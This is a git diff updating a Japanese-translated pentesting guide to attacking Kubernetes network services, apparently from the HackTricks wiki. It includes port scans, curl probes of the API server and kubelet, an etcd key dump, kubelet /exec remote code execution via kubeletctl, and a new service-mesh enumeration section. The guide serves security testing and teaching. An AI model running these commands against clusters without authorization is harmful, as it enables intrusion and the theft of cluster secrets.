7321646ab..a58b2064b 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,23 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes は、**インターネットに公開**されている、または**1つの pod を侵害した後の内部ネットワーク**で見つかる可能性がある、いくつかの**特有のネットワークサービス**を使用します。 +Kubernetes は、**Internet に公開されている**か、**1つの pod を侵害した後の内部 network** 内で見つかる可能性がある、いくつかの**特定の network services** を使用します。 -## OSINT による公開 pod の発見 +## OSINT で exposed pods を見つける -1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して、kubernetes に関連するサブドメインを見つけることです。別の方法として、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すこともできます。 +1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して Kubernetes 関連のサブドメインを見つけることです。別の方法としては、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すことが考えられます。 -## Kubernetes が Services を公開する方法 +scan の前に相関させると有用な外部 recon signals: -対象を見つけるために、Kubernetes が **publicly に services を公開**する仕組みを理解しておくと役立つかもしれません。 +- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`、または region 名を含む DNS と certificate transparency の名前。 +- 公開された application や platform UI を cluster に結びつけられる cloud load balancer 名、CNAMEs、tags、provider hostnames。 +- kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer`、`type: NodePort`、Ingress hosts、Gateway listeners、または dashboard settings を漏らしている public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images、documentation。 +- cloud credentials が範囲内にある場合の managed Kubernetes inventory: EKS の public/private access と public CIDRs、GKE の public/private control-plane settings と authorized networks、AKS の private cluster/API server authorized IP settings。 +- Cluster 周辺で公開されている Argo CD、Prometheus、Grafana、Harbor、registries、CI/CD dashboards、service mesh dashboards、Ingress-controller の admin または metrics endpoints などの platform tools。 + +これらは attribution と優先順位付けの手がかりとして扱ってください。Public な Ingress application は多くの cluster では通常ですが、公開された kubelet、etcd、dashboard、CI/CD deploy control、または漏えいした kubeconfig の素材は、はるかに高く優先すべきです。 + +## Kubernetes が services を公開する方法 + +それらを見つけるために、Kubernetes がどのように services を **public に公開**できるかを理解すると役立つかもしれません: {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## ポートスキャンによる公開 pod の発見 +## Port scanning による exposed pods の発見 -Kubernetes cluster では、以下のポートが open になっている可能性があります。 +Kubernetes cluster では、以下の ports が開いている可能性があります: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -29,12 +39,12 @@ Kubernetes cluster では、以下のポートが open になっている可能 | 6443/TCP | kube-apiserver | Kubernetes API port | | 8443/TCP | kube-apiserver | Minikube API port | | 8080/TCP | kube-apiserver | Insecure API port | -| 10250/TCP | kubelet | HTTPS API which allows full mode access | -| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | +| 10250/TCP | kubelet | Full mode access を許可する HTTPS API | +| 10255/TCP | kubelet | 認証なしの read-only HTTP port: pods, running pods, node state | | 10256/TCP | kube-proxy | Kube Proxy health check server | -| 9099/TCP | calico-felix | Health check server for Calico | +| 9099/TCP | calico-felix | Calico の health check server | | 6782-4/TCP | weave | Metrics and endpoints | -| 30000-32767/TCP | NodePort | Proxy to the services | +| 30000-32767/TCP | NodePort | services への proxy | | 44134/TCP | Tiller | Helm service listening | ### Nmap @@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -これは管理者が通常ツール **`kubectl`** を使ってやり取りする **API Kubernetes service** です。 +これは、管理者が通常ツール **`kubectl`** を使ってやり取りする **Kubernetes の API service** です。 -**一般的なポート: 6443 と 443**、ただし minikube では 8443、insecure として 8080 もあります。 +**一般的なポート: 6443 と 443**、ただし minikube では 8443、そして insecure な 8080 もあります。 ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**このページを確認して、このサービスに対してやり取りすることで機密データを取得し、機密操作を実行する方法を学んでください:** +**このページを確認して、このサービスとやり取りして sensitive data を取得し、sensitive actions を実行する方法を学んでください:** {{#ref}} ../kubernetes-enumeration.md @@ -59,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -このサービスは**クラスタのすべてのnodeで実行**されます。これは**node**内のpodを**制御**するサービスです。**kube-apiserver**と通信します。 +このサービスは**クラスタのすべての node で動作**します。これは **node** 内の **pods** を**制御**するサービスです。**kube-apiserver** と通信します。 -このサービスが公開されているのを見つけた場合、**認証なしRCE**を発見した可能性があります。 +このサービスが露出しているのを見つけた場合、**unauthenticated RCE** を見つけた可能性があります。 #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -`Unauthorized` の場合は、認証が必要です。 +If the response is `Unauthorized` then authentication が必要です。 -nodes を list できるなら、次のように kubelets endpoints の list を取得できます: +nodes を list できるなら、kubelets endpoints の list を次で取得できます: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods" echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd done ``` -#### kubelet (読み取り専用) +#### kubelet (Read only) ```bash curl -k https://:10255 http://:10255/pods @@ -94,7 +104,7 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -このサービスを悪用して Kubernetes 内で権限昇格できます: +このサービスを悪用して、Kubernetes 内で権限昇格できる可能性があります: ### cAdvisor @@ -104,39 +114,62 @@ curl -k https://:4194 ``` ### NodePort -ポートが **NodePort** によってすべてのノードで公開されると、宣言された **Service** にトラフィックをプロキシするために、すべてのノードで同じポートが開かれます。デフォルトでは、このポートは **range 30000-32767** の範囲になります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能な場合があります。 +ポートが **NodePort** を通じてすべてのノードで公開されると、すべてのノードで同じポートが開き、トラフィックを宣言された **Service** にプロキシします。デフォルトでは、このポートは **range 30000-32767** にあります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能になる可能性があります。 ```bash sudo nmap -sS -p 30000-32767 ``` +### Service mesh and proxy surfaces + +**Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** を使用するクラスタは、列挙すべき別のサービス層を追加します。mesh は mTLS、workload identity、L7 routing、authorization policy、telemetry、そして gateway/egress controls を提供できますが、実際に mesh に登録され、mesh によって intercept された traffic だけを保護します。 + +Kubernetes access からの有用な確認項目: +```bash +kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' +kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' +kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' +kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' +``` +Review: + +- injection をオプトアウトした namespaces や workloads、proxy なしで実行されているもの、または injection が有効になる前に作成されたもの。 +- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. +- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. + +Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. + ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -**kube-apiserver API endpoints** への Anonymous access は許可されていません。ですが、いくつかの endpoints を確認できます: +Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) ### **Checking for ETCD Anonymous Access** -ETCD は cluster secrets、configuration files、その他の **sensitive data** を保存します。**Default** では、ETCD へは **anonymous** にアクセス **できません** が、確認しておくのは常に良いことです。 +The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. -ETCD に anonymous access できる場合は、[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** を **use** する必要があるかもしれません。次の command ですべての保存済み keys を取得できます: +If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルト**でサービスへの**匿名アクセス**が**許可**されていると説明しています: +[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルトで anonymous access** がサービスに対して **許可されている** と説明されています: -> Kubelet server への匿名リクエストを有効にします。別の認証方式で拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストの username は `system:anonymous`、group name は `system:unauthenticated` です +> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated` -**Kubelet API の authentication と authorization の仕組み**をよりよく理解するには、このページを確認してください: +**Kubelet API の authentication と authorization がどのように動作するか** をより詳しく理解するには、このページを確認してください: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet** service の **API は documented されていません**が、source code はここで見つけることができ、exposed endpoints を見つけるのは **running** するのと同じくらい簡単です: +**Kubelet** サービスの **API は document されていません** が、source code はここで見つけることができ、公開されている endpoints を見つけるのは **実行する** だけで十分です: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -148,30 +181,30 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -それらはどれも興味深いです。 +すべて興味深く聞こえます。 -[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使って、Kubelet とそのエンドポイントを操作できます。 +[Kubeletctl](https://github.com/cyberark/kubeletctl) ツールを使って Kubelets とその endpoints を操作できます。 #### /pods -このエンドポイントは pods とその containers を一覧表示します: +この endpoint は pods とその containers を一覧表示します: ```bash kubeletctl pods ``` #### /exec -このエンドポイントを使うと、任意のコンテナ内でコードを非常に簡単に実行できます: +このエンドポイントを使うと、どの container 内でも非常に簡単に code を実行できます: ```bash kubeletctl exec [command] ``` > [!NOTE] -> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network レベルで分離する必要があります。 +> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network level で分離する必要があります。 -### **Kubelet (Read Only Port) の情報露出の確認** +### **Checking Kubelet (Read Only Port) Information Exposure** -**kubelet read-only port** が公開されていると、未認可の第三者が API から情報を取得できるようになります。この port の公開は、さまざまな **cluster configuration elements** の漏えいにつながる可能性があります。**pod names、内部ファイルの場所、その他の configurations** を含む情報は重大ではないかもしれませんが、それでも露出は security risk をもたらすため、避けるべきです。 +**kubelet read-only port** が exposed されていると、unauthorized parties が API から情報を取得できるようになります。この port の exposure により、さまざまな **cluster configuration elements** が漏えいする可能性があります。**pod names, locations of internal files, and other configurations** を含む情報は critical ではないかもしれませんが、それでも exposure は security risk をもたらすため、避けるべきです。 -この脆弱性の悪用例として、リモート attacker が特定の URL にアクセスする方法があります。`http://:10255/pods` に移動すると、attacker は kubelet から機密情報を取得できる可能性があります: +この vulnerability の exploit 例としては、remote attacker が特定の URL にアクセスするケースがあります。`http://:10255/pods` に移動すると、attacker は kubelet から sensitive information を取得できる可能性があります: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)